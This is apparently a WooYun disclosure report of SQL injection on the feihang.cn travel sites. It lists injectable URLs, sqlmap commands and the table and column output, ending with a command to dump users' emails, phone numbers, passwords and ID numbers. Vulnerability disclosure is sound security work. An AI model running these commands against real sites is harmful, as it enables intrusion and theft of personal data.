WooYun.org

飞航旅游网SQL注入（会员敏感信息泄露）
注入点：
http://trips.feihang.cn/tripslist.aspx?id=5
http://trips.feihang.cn/trips.aspx?id=248
http://hotel.feihang.cn/hotellist.aspx?cID=363
http://hotel.feihang.cn/hotellist.aspx?ID=82
http://hotel.feihang.cn/HotelOrder.aspx?ID=286
http://hotel.feihang.cn/HotelOrder.aspx?ID=286&MID=181
Database: feihang

跑表：./sqlmap.py -u "http://trips.feihang.cn/tripslist.aspx?id=5" --tables -D "feihang"

[46 tables]
+------------------------+
| dbo.D99_Tmp |
| dbo.Log |
| dbo.V_clinkhref |
| dbo.V_mline |
| dbo.V_traveline |
| dbo.V_visa |
| dbo.base_link |
| dbo.jf_Guize |
| dbo.jf_LaiYuan |
| dbo.jf_LiPing |
| dbo.jf_XHCHaXun |
| dbo.jf_mingxi |
| dbo.seo |
| dbo.sitemap |
| dbo.sysModules |
| dbo.sysRoleModule |
| dbo.sysRoles |
| dbo.tb_user |
| dbo.sysUserRole |
| dbo.syscommand |
| dbo.sysdiagrams |
| dbo.tb_Comments |
| dbo.tb_Items |
| dbo.tb_News |
| dbo.tb_allcity |
| dbo.tb_country |
| dbo.tb_countryhref |
| dbo.tb_huandeng |
| dbo.tb_leftmenu |
| dbo.tb_order |
| dbo.tb_special |
| dbo.tb_specialrel |
| dbo.tb_traveclass |
| dbo.tb_travedetail |
| dbo.tb_travegolf |
| dbo.tb_travegolfdc |
| dbo.tb_travegolforder |
| dbo.tb_travegrouporder |
| dbo.tb_travejctj |
| dbo.tb_traveline |
| dbo.tb_traveorder |
| dbo.tb_user |
| dbo.tb_visa |
| dbo.tb_visafile |
| dbo.tb_visaorder |
| dbo.tb_visatype |
+------------------------+
跑表字段：
./sqlmap.py -u "http://trips.feihang.cn/tripslist.aspx?id=5" --columns -T "dbo.tb_user" -D "feihang" -v 0
Database: feihang
Table: dbo.tb_user
[19 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| address | nvarchar |
| birthday | nvarchar |
| city | nvarchar |
| classId | int |
| email | nvarchar |
| fax | nvarchar |
| mobile | nvarchar |
| msn | nvarchar |
| post | nvarchar |
| qq | nvarchar |
| realName | nvarchar |
| regTime | datetime |
| sex | int |
| telephone | nvarchar |
| userId | int |
| username | nvarchar |
| userpwd | nvarchar |
| zhengjianhaoma | nvarchar |
| zhengjiantype | nvarchar |
+----------------+----------+
跑用户信息：
./sqlmap.py -u "http://trips.feihang.cn/tripslist.aspx?id=5" --dump -C "email,mobile,userId,username,userpwd,zhengjianhaoma" -T "dbo.tb_user" -D "feihang" -v 0